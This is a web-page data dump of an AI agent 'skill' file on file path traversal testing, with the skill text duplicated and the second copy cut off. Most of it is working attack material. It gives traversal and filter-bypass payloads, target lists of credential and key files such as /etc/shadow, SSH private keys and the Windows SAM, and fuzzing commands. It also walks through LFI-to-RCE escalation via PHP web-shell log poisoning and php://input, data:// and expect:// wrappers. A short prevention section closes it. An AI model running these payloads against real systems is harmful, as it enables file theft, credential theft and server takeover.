[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFSBCFBGKMAPE15YAEXSEQ":3,"skill-same:01M6AFSBCFBGKMAPE15YAEXSEQ":78},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":46,"linkOnly":47,"markdownContent":48,"markdownBody":49,"frontMatter":50,"refName":54,"commitSha":55,"skillDirectory":56,"forksCount":57,"repositoryHtmlUrl":58,"repositoryHomepageUrl":59,"ownerHtmlUrl":60,"ownerBlogUrl":61,"ownerDescription":62,"updatedAt":63,"install":64,"resources":77},"01M6AFSBCFBGKMAPE15YAEXSEQ","File Path Traversal Testing",null,"This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33481,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Ffile-path-traversal\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,5,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45],"path","file","file path traversal","path traversal","testing","find","when","for","root","files","exploit","read","access","lfi","applications","web","test","vulnerabilities","directory","2026-11-10 10:12:30",false,"---\nname: File Path Traversal Testing\ndescription: This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# File Path Traversal Testing\n\n## Purpose\n\nIdentify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- cURL for testing payloads\n- Wordlists for automation\n- ffuf or wfuzz for fuzzing\n\n### Required Knowledge\n- HTTP request\u002Fresponse structure\n- Linux and Windows filesystem layout\n- Web application architecture\n- Basic understanding of file APIs\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified traversal points and severity\n2. **Exploitation Proof** - Extracted file contents\n3. **Impact Assessment** - Accessible files and data exposure\n4. **Remediation Guidance** - Secure coding recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding Path Traversal\n\nPath traversal occurs when applications use user input to construct file paths:\n\n```php\n\u002F\u002F Vulnerable PHP code example\n$template = \"blue.php\";\nif (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {\n    $template = $_COOKIE['template'];\n}\ninclude(\"\u002Fhome\u002Fuser\u002Ftemplates\u002F\" . $template);\n```\n\nAttack principle:\n- `..\u002F` sequence moves up one directory\n- Chain multiple sequences to reach root\n- Access files outside intended directory\n\nImpact:\n- **Confidentiality** - Read sensitive files\n- **Integrity** - Write\u002Fmodify files (in some cases)\n- **Availability** - Delete files (in some cases)\n- **Code Execution** - If combined with file upload or log poisoning\n\n### Phase 2: Identifying Traversal Points\n\nMap application for potential file operations:\n\n```bash\n# Parameters that often handle files\n?file=\n?path=\n?page=\n?template=\n?filename=\n?doc=\n?document=\n?folder=\n?dir=\n?include=\n?src=\n?source=\n?content=\n?view=\n?download=\n?load=\n?read=\n?retrieve=\n```\n\nCommon vulnerable functionality:\n- Image loading: `\u002Fimage?filename=23.jpg`\n- Template selection: `?template=blue.php`\n- File downloads: `\u002Fdownload?file=report.pdf`\n- Document viewers: `\u002Fview?doc=manual.pdf`\n- Include mechanisms: `?page=about`\n\n### Phase 3: Basic Exploitation Techniques\n\n#### Simple Path Traversal\n\n```bash\n# Basic Linux traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Windows traversal\n..\\..\\..\\windows\\win.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n\n# URL encoded\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding\n\n# Test payloads with curl\ncurl \"http:\u002F\u002Ftarget.com\u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n```\n\n#### Absolute Path Injection\n\n```bash\n# Direct absolute path (Linux)\n\u002Fetc\u002Fpasswd\n\u002Fetc\u002Fshadow\n\u002Fetc\u002Fhosts\n\u002Fproc\u002Fself\u002Fenviron\n\n# Direct absolute path (Windows)\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\boot.ini\n```\n\n### Phase 4: Bypass Techniques\n\n#### Bypass Stripped Traversal Sequences\n\n```bash\n# When ..\u002F is stripped once\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n....\\\u002F....\\\u002F....\\\u002Fetc\u002Fpasswd\n\n# Nested traversal\n...\u002F.\u002F...\u002F.\u002F...\u002F.\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n\n# Mixed encoding\n..%2f..%2f..%2fetc\u002Fpasswd\n%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n```\n\n#### Bypass Extension Validation\n\n```bash\n# Null byte injection (older PHP versions)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n\n# Path truncation\n..\u002F..\u002F..\u002Fetc\u002Fpasswd...............................\n\n# Double extension\n..\u002F..\u002F..\u002Fetc\u002Fpasswd.jpg.php\n```\n\n#### Bypass Base Directory Validation\n\n```bash\n# When path must start with expected directory\n\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Expected path followed by traversal\nimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n#### Bypass Blacklist Filters\n\n```bash\n# Unicode\u002FUTF-8 encoding\n..%c0%af..%c0%af..%c0%afetc\u002Fpasswd\n..%c1%9c..%c1%9c..%c1%9cetc\u002Fpasswd\n\n# Overlong UTF-8 encoding\n%c0%2e%c0%2e%c0%af\n\n# URL encoding variations\n%2e%2e\u002F\n%2e%2e%5c\n..%5c\n..%255c\n\n# Case variations (Windows)\n....\\\\....\\\\etc\\\\passwd\n```\n\n### Phase 5: Linux Target Files\n\nHigh-value files to target:\n\n```bash\n# System files\n\u002Fetc\u002Fpasswd           # User accounts\n\u002Fetc\u002Fshadow           # Password hashes (root only)\n\u002Fetc\u002Fgroup            # Group information\n\u002Fetc\u002Fhosts            # Host mappings\n\u002Fetc\u002Fhostname         # System hostname\n\u002Fetc\u002Fissue            # System banner\n\n# SSH files\n\u002Froot\u002F.ssh\u002Fid_rsa           # Root private key\n\u002Froot\u002F.ssh\u002Fauthorized_keys  # Authorized keys\n\u002Fhome\u002F\u003Cuser>\u002F.ssh\u002Fid_rsa    # User private keys\n\u002Fetc\u002Fssh\u002Fsshd_config        # SSH configuration\n\n# Web server files\n\u002Fetc\u002Fapache2\u002Fapache2.conf\n\u002Fetc\u002Fnginx\u002Fnginx.conf\n\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n\u002Fvar\u002Flog\u002Fapache2\u002Ferror.log\n\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log\n\n# Application files\n\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fvar\u002Fwww\u002Fhtml\u002F.htaccess\n\u002Fvar\u002Fwww\u002Fhtml\u002Fweb.config\n\n# Process information\n\u002Fproc\u002Fself\u002Fenviron      # Environment variables\n\u002Fproc\u002Fself\u002Fcmdline      # Process command line\n\u002Fproc\u002Fself\u002Ffd\u002F0         # File descriptors\n\u002Fproc\u002Fversion           # Kernel version\n\n# Common application configs\n\u002Fetc\u002Fmysql\u002Fmy.cnf\n\u002Fetc\u002Fpostgresql\u002F*\u002Fpostgresql.conf\n\u002Fopt\u002Flampp\u002Fetc\u002Fhttpd.conf\n```\n\n### Phase 6: Windows Target Files\n\nWindows-specific targets:\n\n```bash\n# System files\nC:\\windows\\win.ini\nC:\\windows\\system.ini\nC:\\boot.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\windows\\system32\\config\\SAM\nC:\\windows\\repair\\SAM\n\n# IIS files\nC:\\inetpub\\wwwroot\\web.config\nC:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n\n# Configuration files\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\mysql\\data\\mysql\\user.MYD\nC:\\xampp\\passwords.txt\nC:\\xampp\\phpmyadmin\\config.inc.php\n\n# User files\nC:\\Users\\\u003Cuser>\\.ssh\\id_rsa\nC:\\Users\\\u003Cuser>\\Desktop\\\nC:\\Documents and Settings\\\u003Cuser>\\\n```\n\n### Phase 7: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with file parameter\n2. Send to Intruder\n3. Mark file parameter value as payload position\n4. Load path traversal wordlist\n5. Start attack\n6. Filter responses by size\u002Fcontent for success\n```\n\n#### Using ffuf\n\n```bash\n# Basic traversal fuzzing\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fimage?filename=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fwordlists\u002Ftraversal.txt \\\n     -mc 200\n\n# Fuzzing with encoding\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fpage?file=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n     -mc 200,500 -ac\n```\n\n#### Using wfuzz\n\n```bash\n# Traverse to \u002Fetc\u002Fpasswd\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n      --hc 404 \\\n      \"http:\u002F\u002Ftarget.com\u002Findex.php?file=FUZZ\"\n\n# With headers\u002Fcookies\nwfuzz -c -z file,traversal.txt \\\n      -H \"Cookie: session=abc123\" \\\n      \"http:\u002F\u002Ftarget.com\u002Fload?path=FUZZ\"\n```\n\n### Phase 8: LFI to RCE Escalation\n\n#### Log Poisoning\n\n```bash\n# Inject PHP code into logs\ncurl -A \"\u003C?php system(\\$_GET['cmd']); ?>\" http:\u002F\u002Ftarget.com\u002F\n\n# Include Apache log file\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# Include auth.log (SSH)\n# First: ssh '\u003C?php system($_GET[\"cmd\"]); ?>'@target.com\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fauth.log&cmd=whoami\"\n```\n\n#### Proc\u002Fself\u002Fenviron\n\n```bash\n# Inject via User-Agent\ncurl -A \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron\"\n\n# With command parameter\ncurl -A \"\u003C?php system(\\$_GET['c']); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron&c=whoami\"\n```\n\n#### PHP Wrapper Exploitation\n\n```bash\n# php:\u002F\u002Ffilter - Read source code as base64\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# php:\u002F\u002Finput - Execute POST data as PHP\ncurl -X POST -d \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# data:\u002F\u002F - Execute inline PHP\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg==&c=id\"\n\n# expect:\u002F\u002F - Execute system commands\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=expect:\u002F\u002Fid\"\n```\n\n### Phase 9: Testing Methodology\n\nStructured testing approach:\n\n```bash\n# Step 1: Identify potential parameters\n# Look for file-related functionality\n\n# Step 2: Test basic traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Step 3: Test encoding variations\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n\n# Step 4: Test bypass techniques\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\n\n# Step 5: Test absolute paths\n\u002Fetc\u002Fpasswd\n\n# Step 6: Test with null bytes (legacy)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n\n# Step 7: Attempt wrapper exploitation\nphp:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\n\n# Step 8: Attempt log poisoning for RCE\n```\n\n### Phase 10: Prevention Measures\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Use basename() to strip paths\n$filename = basename($_GET['file']);\n$path = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $filename;\n\n\u002F\u002F PHP: Validate against whitelist\n$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];\nif (in_array($_GET['file'], $allowed)) {\n    include(\"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $_GET['file']);\n}\n\n\u002F\u002F PHP: Canonicalize and verify base path\n$base = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\";\n$realBase = realpath($base);\n$userPath = $base . $_GET['file'];\n$realUserPath = realpath($userPath);\n\nif ($realUserPath && strpos($realUserPath, $realBase) === 0) {\n    include($realUserPath);\n}\n```\n\n```python\n# Python: Use os.path.realpath() and validate\nimport os\n\ndef safe_file_access(base_dir, filename):\n    # Resolve to absolute path\n    base = os.path.realpath(base_dir)\n    file_path = os.path.realpath(os.path.join(base, filename))\n    \n    # Verify file is within base directory\n    if file_path.startswith(base):\n        return open(file_path, 'r').read()\n    else:\n        raise Exception(\"Access denied\")\n```\n\n## Quick Reference\n\n### Common Payloads\n\n| Payload | Target |\n|---------|--------|\n| `..\u002F..\u002F..\u002Fetc\u002Fpasswd` | Linux password file |\n| `..\\..\\..\\..\\windows\\win.ini` | Windows INI file |\n| `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` | Bypass simple filter |\n| `\u002Fetc\u002Fpasswd` | Absolute path |\n| `php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php` | Source code |\n\n### Target Files\n\n| OS | File | Purpose |\n|----|------|---------|\n| Linux | `\u002Fetc\u002Fpasswd` | User accounts |\n| Linux | `\u002Fetc\u002Fshadow` | Password hashes |\n| Linux | `\u002Fproc\u002Fself\u002Fenviron` | Environment vars |\n| Windows | `C:\\windows\\win.ini` | System config |\n| Windows | `C:\\boot.ini` | Boot config |\n| Web | `wp-config.php` | WordPress DB creds |\n\n### Encoding Variants\n\n| Type | Example |\n|------|---------|\n| URL Encoding | `%2e%2e%2f` = `..\u002F` |\n| Double Encoding | `%252e%252e%252f` = `..\u002F` |\n| Unicode | `%c0%af` = `\u002F` |\n| Null Byte | `%00` |\n\n## Constraints and Limitations\n\n### Permission Restrictions\n- Cannot read files application user cannot access\n- Shadow file requires root privileges\n- Many files have restrictive permissions\n\n### Application Restrictions\n- Extension validation may limit file types\n- Base path validation may restrict scope\n- WAF may block common payloads\n\n### Testing Considerations\n- Respect authorized scope\n- Avoid accessing genuinely sensitive data\n- Document all successful access\n\n## Troubleshooting\n\n| Problem | Solutions |\n|---------|-----------|\n| No response difference | Try encoding, blind traversal, different files |\n| Payload blocked | Use encoding variants, nested sequences, case variations |\n| Cannot escalate to RCE | Check logs, PHP wrappers, file upload, session poisoning |\n","# File Path Traversal Testing\n\n## Purpose\n\nIdentify and exploit file path traversal (directory traversal) vulnerabilities that allow attackers to read arbitrary files on the server, potentially including sensitive configuration files, credentials, and source code. This vulnerability occurs when user-controllable input is passed to filesystem APIs without proper validation.\n\n## Prerequisites\n\n### Required Tools\n- Web browser with developer tools\n- Burp Suite or OWASP ZAP\n- cURL for testing payloads\n- Wordlists for automation\n- ffuf or wfuzz for fuzzing\n\n### Required Knowledge\n- HTTP request\u002Fresponse structure\n- Linux and Windows filesystem layout\n- Web application architecture\n- Basic understanding of file APIs\n\n## Outputs and Deliverables\n\n1. **Vulnerability Report** - Identified traversal points and severity\n2. **Exploitation Proof** - Extracted file contents\n3. **Impact Assessment** - Accessible files and data exposure\n4. **Remediation Guidance** - Secure coding recommendations\n\n## Core Workflow\n\n### Phase 1: Understanding Path Traversal\n\nPath traversal occurs when applications use user input to construct file paths:\n\n```php\n\u002F\u002F Vulnerable PHP code example\n$template = \"blue.php\";\nif (isset($_COOKIE['template']) && !empty($_COOKIE['template'])) {\n    $template = $_COOKIE['template'];\n}\ninclude(\"\u002Fhome\u002Fuser\u002Ftemplates\u002F\" . $template);\n```\n\nAttack principle:\n- `..\u002F` sequence moves up one directory\n- Chain multiple sequences to reach root\n- Access files outside intended directory\n\nImpact:\n- **Confidentiality** - Read sensitive files\n- **Integrity** - Write\u002Fmodify files (in some cases)\n- **Availability** - Delete files (in some cases)\n- **Code Execution** - If combined with file upload or log poisoning\n\n### Phase 2: Identifying Traversal Points\n\nMap application for potential file operations:\n\n```bash\n# Parameters that often handle files\n?file=\n?path=\n?page=\n?template=\n?filename=\n?doc=\n?document=\n?folder=\n?dir=\n?include=\n?src=\n?source=\n?content=\n?view=\n?download=\n?load=\n?read=\n?retrieve=\n```\n\nCommon vulnerable functionality:\n- Image loading: `\u002Fimage?filename=23.jpg`\n- Template selection: `?template=blue.php`\n- File downloads: `\u002Fdownload?file=report.pdf`\n- Document viewers: `\u002Fview?doc=manual.pdf`\n- Include mechanisms: `?page=about`\n\n### Phase 3: Basic Exploitation Techniques\n\n#### Simple Path Traversal\n\n```bash\n# Basic Linux traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Windows traversal\n..\\..\\..\\windows\\win.ini\n..\\..\\..\\..\\windows\\system32\\drivers\\etc\\hosts\n\n# URL encoded\n..%2F..%2F..%2Fetc%2Fpasswd\n..%252F..%252F..%252Fetc%252Fpasswd  # Double encoding\n\n# Test payloads with curl\ncurl \"http:\u002F\u002Ftarget.com\u002Fimage?filename=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\ncurl \"http:\u002F\u002Ftarget.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n```\n\n#### Absolute Path Injection\n\n```bash\n# Direct absolute path (Linux)\n\u002Fetc\u002Fpasswd\n\u002Fetc\u002Fshadow\n\u002Fetc\u002Fhosts\n\u002Fproc\u002Fself\u002Fenviron\n\n# Direct absolute path (Windows)\nC:\\windows\\win.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\boot.ini\n```\n\n### Phase 4: Bypass Techniques\n\n#### Bypass Stripped Traversal Sequences\n\n```bash\n# When ..\u002F is stripped once\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n....\\\u002F....\\\u002F....\\\u002Fetc\u002Fpasswd\n\n# Nested traversal\n...\u002F.\u002F...\u002F.\u002F...\u002F.\u002Fetc\u002Fpasswd\n....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n\n# Mixed encoding\n..%2f..%2f..%2fetc\u002Fpasswd\n%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n```\n\n#### Bypass Extension Validation\n\n```bash\n# Null byte injection (older PHP versions)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.png\n\n# Path truncation\n..\u002F..\u002F..\u002Fetc\u002Fpasswd...............................\n\n# Double extension\n..\u002F..\u002F..\u002Fetc\u002Fpasswd.jpg.php\n```\n\n#### Bypass Base Directory Validation\n\n```bash\n# When path must start with expected directory\n\u002Fvar\u002Fwww\u002Fimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Expected path followed by traversal\nimages\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\n```\n\n#### Bypass Blacklist Filters\n\n```bash\n# Unicode\u002FUTF-8 encoding\n..%c0%af..%c0%af..%c0%afetc\u002Fpasswd\n..%c1%9c..%c1%9c..%c1%9cetc\u002Fpasswd\n\n# Overlong UTF-8 encoding\n%c0%2e%c0%2e%c0%af\n\n# URL encoding variations\n%2e%2e\u002F\n%2e%2e%5c\n..%5c\n..%255c\n\n# Case variations (Windows)\n....\\\\....\\\\etc\\\\passwd\n```\n\n### Phase 5: Linux Target Files\n\nHigh-value files to target:\n\n```bash\n# System files\n\u002Fetc\u002Fpasswd           # User accounts\n\u002Fetc\u002Fshadow           # Password hashes (root only)\n\u002Fetc\u002Fgroup            # Group information\n\u002Fetc\u002Fhosts            # Host mappings\n\u002Fetc\u002Fhostname         # System hostname\n\u002Fetc\u002Fissue            # System banner\n\n# SSH files\n\u002Froot\u002F.ssh\u002Fid_rsa           # Root private key\n\u002Froot\u002F.ssh\u002Fauthorized_keys  # Authorized keys\n\u002Fhome\u002F\u003Cuser>\u002F.ssh\u002Fid_rsa    # User private keys\n\u002Fetc\u002Fssh\u002Fsshd_config        # SSH configuration\n\n# Web server files\n\u002Fetc\u002Fapache2\u002Fapache2.conf\n\u002Fetc\u002Fnginx\u002Fnginx.conf\n\u002Fetc\u002Fapache2\u002Fsites-enabled\u002F000-default.conf\n\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n\u002Fvar\u002Flog\u002Fapache2\u002Ferror.log\n\u002Fvar\u002Flog\u002Fnginx\u002Faccess.log\n\n# Application files\n\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\u002Fvar\u002Fwww\u002Fhtml\u002F.htaccess\n\u002Fvar\u002Fwww\u002Fhtml\u002Fweb.config\n\n# Process information\n\u002Fproc\u002Fself\u002Fenviron      # Environment variables\n\u002Fproc\u002Fself\u002Fcmdline      # Process command line\n\u002Fproc\u002Fself\u002Ffd\u002F0         # File descriptors\n\u002Fproc\u002Fversion           # Kernel version\n\n# Common application configs\n\u002Fetc\u002Fmysql\u002Fmy.cnf\n\u002Fetc\u002Fpostgresql\u002F*\u002Fpostgresql.conf\n\u002Fopt\u002Flampp\u002Fetc\u002Fhttpd.conf\n```\n\n### Phase 6: Windows Target Files\n\nWindows-specific targets:\n\n```bash\n# System files\nC:\\windows\\win.ini\nC:\\windows\\system.ini\nC:\\boot.ini\nC:\\windows\\system32\\drivers\\etc\\hosts\nC:\\windows\\system32\\config\\SAM\nC:\\windows\\repair\\SAM\n\n# IIS files\nC:\\inetpub\\wwwroot\\web.config\nC:\\inetpub\\logs\\LogFiles\\W3SVC1\\\n\n# Configuration files\nC:\\xampp\\apache\\conf\\httpd.conf\nC:\\xampp\\mysql\\data\\mysql\\user.MYD\nC:\\xampp\\passwords.txt\nC:\\xampp\\phpmyadmin\\config.inc.php\n\n# User files\nC:\\Users\\\u003Cuser>\\.ssh\\id_rsa\nC:\\Users\\\u003Cuser>\\Desktop\\\nC:\\Documents and Settings\\\u003Cuser>\\\n```\n\n### Phase 7: Automated Testing\n\n#### Using Burp Suite\n\n```\n1. Capture request with file parameter\n2. Send to Intruder\n3. Mark file parameter value as payload position\n4. Load path traversal wordlist\n5. Start attack\n6. Filter responses by size\u002Fcontent for success\n```\n\n#### Using ffuf\n\n```bash\n# Basic traversal fuzzing\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fimage?filename=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fwordlists\u002Ftraversal.txt \\\n     -mc 200\n\n# Fuzzing with encoding\nffuf -u \"http:\u002F\u002Ftarget.com\u002Fpage?file=FUZZ\" \\\n     -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n     -mc 200,500 -ac\n```\n\n#### Using wfuzz\n\n```bash\n# Traverse to \u002Fetc\u002Fpasswd\nwfuzz -c -z file,\u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n      --hc 404 \\\n      \"http:\u002F\u002Ftarget.com\u002Findex.php?file=FUZZ\"\n\n# With headers\u002Fcookies\nwfuzz -c -z file,traversal.txt \\\n      -H \"Cookie: session=abc123\" \\\n      \"http:\u002F\u002Ftarget.com\u002Fload?path=FUZZ\"\n```\n\n### Phase 8: LFI to RCE Escalation\n\n#### Log Poisoning\n\n```bash\n# Inject PHP code into logs\ncurl -A \"\u003C?php system(\\$_GET['cmd']); ?>\" http:\u002F\u002Ftarget.com\u002F\n\n# Include Apache log file\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# Include auth.log (SSH)\n# First: ssh '\u003C?php system($_GET[\"cmd\"]); ?>'@target.com\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fauth.log&cmd=whoami\"\n```\n\n#### Proc\u002Fself\u002Fenviron\n\n```bash\n# Inject via User-Agent\ncurl -A \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron\"\n\n# With command parameter\ncurl -A \"\u003C?php system(\\$_GET['c']); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=\u002Fproc\u002Fself\u002Fenviron&c=whoami\"\n```\n\n#### PHP Wrapper Exploitation\n\n```bash\n# php:\u002F\u002Ffilter - Read source code as base64\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# php:\u002F\u002Finput - Execute POST data as PHP\ncurl -X POST -d \"\u003C?php system('id'); ?>\" \\\n     \"http:\u002F\u002Ftarget.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# data:\u002F\u002F - Execute inline PHP\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA\u002FPg==&c=id\"\n\n# expect:\u002F\u002F - Execute system commands\ncurl \"http:\u002F\u002Ftarget.com\u002Fpage?file=expect:\u002F\u002Fid\"\n```\n\n### Phase 9: Testing Methodology\n\nStructured testing approach:\n\n```bash\n# Step 1: Identify potential parameters\n# Look for file-related functionality\n\n# Step 2: Test basic traversal\n..\u002F..\u002F..\u002Fetc\u002Fpasswd\n\n# Step 3: Test encoding variations\n..%2F..%2F..%2Fetc%2Fpasswd\n%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\n\n# Step 4: Test bypass techniques\n....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\n..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\n\n# Step 5: Test absolute paths\n\u002Fetc\u002Fpasswd\n\n# Step 6: Test with null bytes (legacy)\n..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.jpg\n\n# Step 7: Attempt wrapper exploitation\nphp:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=index.php\n\n# Step 8: Attempt log poisoning for RCE\n```\n\n### Phase 10: Prevention Measures\n\nSecure coding practices:\n\n```php\n\u002F\u002F PHP: Use basename() to strip paths\n$filename = basename($_GET['file']);\n$path = \"\u002Fvar\u002Fwww\u002Ffiles\u002F\" . $filename;\n\n\u002F\u002F PHP: Validate against whitelist\n$allowed = ['report.pdf', 'manual.pdf', 'guide.pdf'];\nif 